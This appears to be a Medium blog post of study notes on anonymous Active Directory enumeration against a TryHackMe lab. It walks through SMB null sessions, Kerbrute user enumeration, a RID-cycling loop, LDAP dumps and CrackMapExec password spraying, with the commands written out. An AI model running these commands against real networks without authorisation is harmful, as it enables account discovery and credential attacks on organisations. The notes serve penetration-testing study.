            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQ08QA2mqNUuBgVr7Kz5zQ.png" /></figure><h3>Practical Learning Notes (SMB, LDAP, RPC, Kerberos &amp; AD Enumeration)</h3><p>These notes refer to a typical <strong>anonymous Active Directory enumeration workflow</strong>, moving from service discovery → SMB enumeration → user discovery → LDAP enumeration → RPC enumeration → password policy checks → password spraying.</p><h3>1. Initial Service Discovery</h3><h3>Scan Common Active Directory Ports</h3><pre>nmap -p 88,135,139,389,445,636 -sV -sC 10.211.11.10 -v -T5</pre><h3>Purpose</h3><p>PortService 88 Kerberos 135 RPC 139 NetBIOS 389 LDAP 445 SMB 636 LDAPS</p><h3>Goal</h3><p>Identify:</p><ul><li>Domain Controller</li><li>SMB availability</li><li>LDAP availability</li><li>Kerberos service</li><li>Potential anonymous access</li></ul><h3>2. SMB Enumeration</h3><h3>List Available Shares</h3><pre>smbclient -L //10.211.11.10 -N</pre><p><strong>-N</strong> = Null Session (anonymous access)</p><h3>Enumerate Shares</h3><pre>smbmap -H 10.211.11.10</pre><h3>Purpose</h3><p>Shows:</p><ul><li>Share names</li><li>Read permissions</li><li>Write permissions</li><li>Anonymous access level</li></ul><h3>Access a Share</h3><pre>smbclient //10.211.11.10/SharedFiles -N</pre><h3>Purpose</h3><p>Browse files anonymously.</p><h3>3. User Enumeration</h3><h3>Method 1: Kerberos User Enumeration</h3><h3>Using Kerbrute</h3><pre>kerbrute userenum \<br>-d tryhackme.loc \<br>--dc 10.211.11.10 \<br>kerbrutead.txt \<br>-o AD_Valid_User.txt</pre><h3>Purpose</h3><p>Validate usernames without needing passwords.</p><h3>Result</h3><pre>VALID USERNAME FOUND</pre><p>Creates a list of valid AD accounts.</p><h3>Method 2: RID Cycling</h3><h3>Enumerate Users by RID</h3><pre>for i in $(seq 500 2000); do<br>echo &quot;queryuser $i&quot; | rpcclient -U &quot;&quot; -N 10.211.11.10 2&gt;/dev/null \<br>| grep -i &quot;User Name&quot;<br>done</pre><h3>Purpose</h3><p>Discover users through RID brute-force.</p><h3>4. LDAP Enumeration</h3><h3>Check LDAP Access</h3><pre>ldapsearch -x -H ldap://10.211.11.10 -s base</pre><h3>Purpose</h3><p>Identify:</p><ul><li>Domain Name</li><li>Naming Context</li><li>LDAP Accessibility</li></ul><h3>Enumerate All Users</h3><pre>ldapsearch -x \<br>-H ldap://10.211.11.10 \<br>-b &quot;dc=tryhackme,dc=loc&quot; \<br>&quot;(objectClass=person)&quot;</pre><h3>Purpose</h3><p>Retrieve user objects and AD information.</p><h3>Extract Usernames Only</h3><pre>ldapsearch -x \<br>-H ldap://10.211.11.10 \<br>-b &quot;dc=tryhackme,dc=loc&quot; \<br>&quot;(objectClass=person)&quot; \<br>| grep -ia samaccountname</pre><h3>Purpose</h3><p>Collect usernames for:</p><ul><li>Password spraying</li><li>Credential attacks</li><li>Reporting</li></ul><h3>5. RPC Enumeration</h3><h3>Connect via Null Session</h3><pre>rpcclient -U &quot;&quot; -N 10.211.11.10</pre><h3>Enumerate Domain Users</h3><pre>enumdomusers</pre><h3>Example Output</h3><pre>user:[Administrator]<br>user:[Guest]<br>user:[rduke]<br>user:[gerald.burgess]</pre><h3>Query Specific User</h3><pre>queryuser 0xa31</pre><h3>Purpose</h3><p>Gather:</p><ul><li>Full name</li><li>Description</li><li>Account details</li><li>Last logon information</li></ul><h3>Finding RID</h3><pre>enumdomusers</pre><p>Then use:</p><pre>queryuser &lt;RID&gt;</pre><p>Example:</p><pre>queryuser 0xa31</pre><h3>6. Enum4Linux Automation</h3><h3>Search for a Specific User</h3><pre>enum4linux 10.211.11.10 | grep rduke</pre><h3>Full Enumeration</h3><pre>sudo enum4linux-ng -A 10.211.11.10 -oA results.txt</pre><p>or</p><pre>sudo enum4linux-ng -A 10.211.11.10</pre><h3>Purpose</h3><p>Automates:</p><ul><li>SMB Enumeration</li><li>RID Cycling</li><li>User Discovery</li><li>Share Discovery</li><li>Policy Enumeration</li></ul><h3>7. RID Conversion</h3><p>Sometimes RPC outputs:</p><pre>RID: 0xa31</pre><p>Convert:</p><h3>Hex → Decimal</h3><pre>printf &quot;%d\n&quot; 0xa31</pre><h3>Decimal → Hex</h3><pre>printf &quot;0x%x\n&quot; 2609</pre><h3>8. Password Policy Enumeration</h3><p>Before password spraying, always identify account lockout settings.</p><h3>Using RPC</h3><pre>rpcclient -U &quot;&quot; -N 10.211.11.10</pre><pre>getdompwinfo</pre><h3>Example</h3><pre>min_password_length: 7<br>DOMAIN_PASSWORD_COMPLEX</pre><h3>Using CrackMapExec</h3><pre>crackmapexec smb 10.211.11.10 --pass-pol</pre><h3>Purpose</h3><p>Retrieve:</p><ul><li>Lockout threshold</li><li>Password length</li><li>Complexity requirements</li></ul><h3>9. Password Spraying</h3><h3>Example</h3><pre>crackmapexec smb 10.211.11.20 \<br>-u rduke \<br>-p pass.txt</pre><h3>Purpose</h3><p>Test one password (or a small controlled set) against many accounts while respecting lockout policies.</p><h3>Important</h3><p>Always verify:</p><pre>getdompwinfo</pre><p>or</p><pre>crackmapexec smb &lt;IP&gt; --pass-pol</pre><p>before attempting password spraying.</p><h3>10. Authenticated RPC Login</h3><h3>Log in with Credentials</h3><pre>rpcclient -U &#39;DISTER\\clark.ken%password&#39; 192.168.0.10</pre><h3>Purpose</h3><p>Authenticated enumeration provides:</p><ul><li>More user details</li><li>Group memberships</li><li>Domain information</li><li>Additional AD objects</li></ul><h3>Enumeration Workflow Summary</h3><pre>1. Nmap Scan<br>      ↓<br>2. SMB Enumeration<br>      ↓<br>3. LDAP Enumeration<br>      ↓<br>4. Kerberos User Enumeration<br>      ↓<br>5. RPC Enumeration<br>      ↓<br>6. RID Cycling<br>      ↓<br>7. Password Policy Enumeration<br>      ↓<br>8. Password Spraying<br>      ↓<br>9. Authenticated Enumeration</pre><blockquote><strong>Tools Used</strong></blockquote><blockquote>Nmap<br> SMBClient<br> SMBMap<br> Kerbrute<br> LDAPSearch<br> RPCClient<br> Enum4Linux-NG<br> CrackMapExec</blockquote><blockquote><strong>Can also use</strong></blockquote><blockquote>(1) <strong>nxc</strong> {comes with kali by default}</blockquote><blockquote>(2) <strong>ldapnomnom</strong> {you can find it on github)</blockquote><p>Practical Demonstration: <a href="https://youtu.be/O9IZ3-qsuIo">https://youtu.be/O9IZ3-qsuIo</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a8a71adfa07" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>